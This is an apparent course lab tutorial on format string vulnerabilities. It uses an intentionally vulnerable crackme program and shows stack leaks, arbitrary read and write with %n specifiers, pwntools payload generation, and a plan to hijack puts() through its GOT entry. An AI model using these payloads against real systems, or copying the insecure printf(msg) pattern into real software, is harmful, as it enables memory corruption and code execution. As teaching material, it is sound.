Tut05: Format String Vulnerability

In this tutorial, we will explore a powerful new class of bug, called format string vulnerability. This benign-looking bug allows arbitrary read/write and thus arbitrary execution.

Step 0. Enhanced crackme0x00

We've eliminated the buffer overflow vulnerability in the crackme0x00 binary. Let's check out the new implementation!

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>

#include "flag.h"

unsigned int secret = 0xdeadbeef;

void handle_failure(char *buf) {
  char msg[100];
  snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf);
  printf(msg);
}

int main(int argc, char *argv[])
{
  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);

  int tmp = secret;

  char buf[100];
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  fgets(buf, sizeof(buf), stdin);

  if (!strcmp(buf, "250382\n")) {
    printf("Password OK :)\n");
  } else {
    handle_failure(buf);
  }

  if (tmp != secret) {
    puts("The secret is modified!\n");
  }
  
  return 0;
}

$ checksec --file crackme0x00
[*] '/home/lab05/tut05-fmtstr/crackme0x00'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

As you can see, it is a fully protected binary.

NOTE. These two lines are to make your life easier; they immediately flush your input and output buffers.

setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

It works as before, but when we type an incorrect password, it produces an error message like this:

$ ./crackme0x00
IOLI Crackme Level 0x00
Password:asdf
Invalid Password! asdf

Unfortunately, this program is using printf() in a very insecure way.

snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf);
printf(msg);

Please note that msg might contain your input (e.g., invalid password). If it contains a special format specifier, like %, printf() interprets its format specifier, causing a security issue.

Let's try typing %p:

  • %p: pointer
  • %s: string
  • %d: int
  • %x: hex
$ ./crackme0x00
IOLI Crackme Level 0x00
Password:%p
Invalid Password! 0x64

What's 0x64 as an integer? guess what does it represent in the code?

Let's go crazy by putting more %p x 15

$ echo "1=%p|2=%p|3=%p|4=%p|5=%p|6=%p|7=%p|8=%p|9=%p|10=%p|11=%p|12=%p|13=%p|14=%p|15=%p"  | ./crackme0x00
Password:Invalid Password! 1=0x64|2=0x8048a40|3=0xffe1f428 ...

In fact, this output string is your stack for the printf call:

1=0x64
2=0x8048a40
3=0xffe1f428
4=0xf7f3ce89
...
10=0x61766e49
11=0x2064696c
12=0x73736150
13=0x64726f77
14=0x3d312021
15=0x327c7025

Since it's so tedious to keep putting %p, printf-like functions provide a convenient way to point to the n-th arguments:

| %[nth]$p
(e.g., %1$p = first argument)

Let's try:

$ echo "%10\$p" | ./crackme0x00
IOLI Crackme Level 0x00
Password:Invalid Password! 0x61766e49

NOTE. \\$ is to avoid the interpretation (e.g., $PATH) by the shell.

It matches the 10th stack value listed above.

Step 1. Format String Bug to an Arbitrary Read

Let's exploit this format string bug to write an arbitrary value to an arbitrary memory region.

Have you noticed some interesting values in the stack?

4=0xf7f3ce89
...
10=0x61766e49  'Inva'
11=0x2064696c  'lid '
12=0x73736150  'Pass'
13=0x64726f77  'word'
14=0x3d312021  '! 1='
15=0x327c7025  '%p|2'

It seems that what we put onto the stack is actually being interpreted as an argument. What's going on?

When you invoke a printf() function, your arguments passed through the stack are placed like these:

printf("%s", a1, a2 ...)

[ra]
[  ] --+
[a1]   |   a1: 1st arg, %1$s
[a2]   |   a2: 2nd arg, %2$s
[%s] <-+     : 3rd arg, %3$s
[..]

In this simple case, you can point to the %s (as value) with %3$s! It means you can 'read' (e.g., 4 bytes) an arbitrary memory region like this:

printf("\xaa\xaa\xaa\xaa%3$s", a1, a2 ...)

[ra ]
[   ] --+
[a1 ]   |
[a2 ]   |
[ptr] <-+
[.. ]

It reads (%s) 4 bytes at 0xaaaaaaaa and prints out its value. In case of the target binary, where is your controllable input located in the stack (the N value in the below)?

$ echo "BBAAAA%N\$p" | ./crackme0x00
IOLI Crackme Level 0x00
Password:Invalid Password! BBAAAA0x41414141

What happens when we replace %p with %s? How does it crash?

[Task] How could you read the secret value?

Note that you can locate the address of secret by using nm:

$ nm crackme0x00 | grep secret
0804a050 D secret

Step 2. Format String Bug to an Arbitrary Write

In fact, printf() is very complex, and it supports a 'write': it writes the total number of bytes printed so far to the location you specified.

  • %n: write number of bytes printed (as an int)
printf("aaaa%n", &len);

len contains 4 = strlen("aaaa") as a result.

Similar to the arbitrary read, you can also write to an arbitrary memory location like this:

printf("\xaa\xaa\xaa\xaa%3$n", a1, a2 ...)

[ra ]
[   ] --+
[a1 ]   |
[a2 ]   |
[ptr] <-+
[.. ]

*0xaaaaaaaa = 4 (i.e., \xaa x 4 are printed so far)

Then, how to write an arbitrary value? We need another useful specifier of printf:

| %[len]d
(e.g., %10d: print out 10 spacers)

To write 10 to 0xaaaaaaaa, you can print 6 more characters like this:

printf("\xaa\xaa\xaa\xaa%6d%3$n", a1, a2 ...)
                        ---
*0xaaaaaaaa = 10

By using this, you can write an arbitrary value to the arbitrary location. For example, you can write a value, 0xc0ffee, to the location, 0xaaaaaaaa:

1. You can either write four bytes at a time like this:

*(int *)0xaaaaaaaa = 0x000000ee
*(int *)0xaaaaaaab = 0x000000ff
*(int *)0xaaaaaaac = 0x000000c0

2. Or you can use these smaller size specifiers like below:

  • %hn: write the number of printed bytes as a short
  • %hhn: write the number of printed bytes as a byte
printf("\xaa\xaa\xaa\xaa%6d%3$hhn", a1, a2 ...)
                        ---
*(unsigned char*)0xaaaaaaaa = 0x10

so,

*(unsigned char*)0xaaaaaaaa = 0xee
*(unsigned char*)0xaaaaaaab = 0xff
*(unsigned char*)0xaaaaaaac = 0xc0

[Task] How could you overwrite the secret value with 0xc0ffee?

Step 3. Using pwntool

In fact, it's very tedious to construct the format string that overwrites an arbitrary value to an arbitrary location once you understand the core idea. Fortunately, pwntool provides a fmtstr exploit generator for you.

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

- offset: the first formatter's offset you control
- writes: dict with addr, value {addr: value, addr2: value2}
- numbwritten: the number of bytes already written by printf()

Let's say we'd like to write 0xc0ffee to *0xaaaaaaaa, and we have a control of the fmtstr at the 4th param (i.e., %4$p), but we already printed out 10 characters.

$ python2 -c "from pwn import*; print(fmtstr_payload(4, {0xaaaaaaaa: 0xc0ffee}, 10))"
\xaa\xaa\xaa\xaa\xab\xaa\xaa\xaa\xac\xaa\xaa\xaa\xad\xaa\xaa\xaa%212c%4$hhn%17c%5$hhn%193c%6$hhn%64c%7$hhn

[Task] Is it similar to what you've come up with to write 0xc0ffee to the secret value? Please modify template.py to overwrite the secret value!

Step 4. Arbitrary Execution!

Your task today is to launch an control hijacking attack by using this fmtstr vulnerability. The plan is simple: overwrite the GOT of puts() with the address of print_key(), so that when puts() is invoked, we can redirect its execution to print_key().

Just in case, you haven't heard of GOT. Global Offset Table, shortly GOT, is a table whose entry contains an external function pointer (e.g., puts() or printf() in libc). When a dynamic loader (ld) initially loads your program, the GOT table is filled with static code pointers that ultimately invoke _dl_runtime_resolve(), and then, once the location of the calling function is resolved, the entry is updated with the resolved pointer (i.e., real address of puts() and printf() in libc). Once resolved, the following calls will immediately direct its execution to the real functions, as the resolved function pointer is updated in the GOT entry.

For example, this is the code snippet for calling puts() in the main():

0x0804891b <+189>:	sub    esp,0xc
0x0804891e <+192>:	push   0x8048a80
0x08048923 <+197>:	call   0x8048590 <puts@plt>

Note that puts@plt is not the real "puts()" in libc; 0x80490a0 is in your code section (try, vmmap 0x80490a0) and the real puts() of libc is located here:

  > x/10i puts
   0xf7db7b40 <puts>:	push   ebp
   0xf7db7b41 <puts+1>:	mov    ebp,esp
   0xf7db7b43 <puts+3>:	push   edi
   0xf7db7b44 <puts+4>:	push   esi

puts@plt means puts at the Procedure Linkage Table (PLT); it points to one of the entries in PLT:

> pdisas 0x8048570
 > 0x8048570 <err@plt>           jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+36] <0x804a024>

   0x8048576 <err@plt+6>         push   0x30
   0x804857b <err@plt+11>        jmp    0x8048500

   0x8048580 <fread@plt>         jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+40] <0x804a028>

   0x8048586 <fread@plt+6>       push   0x38
   0x804858b <fread@plt+11>      jmp    0x8048500

   0x8048590 <puts@plt>          jmp    dword ptr [0x804a02c] <0xf7db7b40>

   0x8048596 <puts@plt+6>        push   0x40
   0x804859b <puts@plt+11>       jmp    0x8048500

   ...

Let's follow this call (i.e., single stepping into the call),

 > 0x8048590  <puts@plt>       jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+44] <0x804a02c>

   0x8048596  <puts@plt+6>     push   0x40
   0x804859b  <puts@plt+11>    jmp    0x8048500
    v
   0x8048500                   push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x8048506                   jmp    dword ptr [0x804a008]
    v
   0xf7fafe10 <_dl_runtime_resolve>       push   eax
   0xf7fafe11 <_dl_runtime_resolve+1>     push   ecx
   0xf7fafe12 <_dl_runtime_resolve+2>     push   edx

GOT of puts() (i.e., _GLOBAL_OFFSET_TABLE_+44) initially points to puts@plt+6, the right next instruction to puts@plt, and ends up invoking _dl_runtime_resolve() with two parameters, one of which simply indicates that puts() should be resolved (i.e., 0x30). Once resolved, _GLOBAL_OFFSET_TABLE_+44 (0x804a02c) will point to the real puts() in libc (0xf7e11b40).

[Task] So, can you overwrite the GOT entry of puts(), and try to hijack by yourself?

In fact, there are two challenges that you will be encountering when writing an exploit.

1) in order to reach puts(), you have to overwrite both the secret value and the GOT of puts():

if (tmp != secret) {
  puts("The secret is modified!\n");
}

[Task] What should be the 'writes' param for fmtstr_payload()?

2) Unfortunately, the size of the buffer is very limited, meaning that it might not be able to contain the format strings for both write targets.

void handle_failure(char *buf) {
  char msg[100];
  ...
}

Do you remember the %hn or %hhn tricks that help you overwrite smaller number of bytes, like one or two? That's where write_size plays a role:

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

- write_size (str): must be byte, short or int. Tells if you want to
    write byte by byte, short by short or int by int (hhn, hn or n)

Finally! Can you hijack the puts() invocation to print_key() to get your flag for this tutorial?

[Task] In the given template.py, modify the payload to hijack the puts() invocation to print_key(), and get your flag.

Reference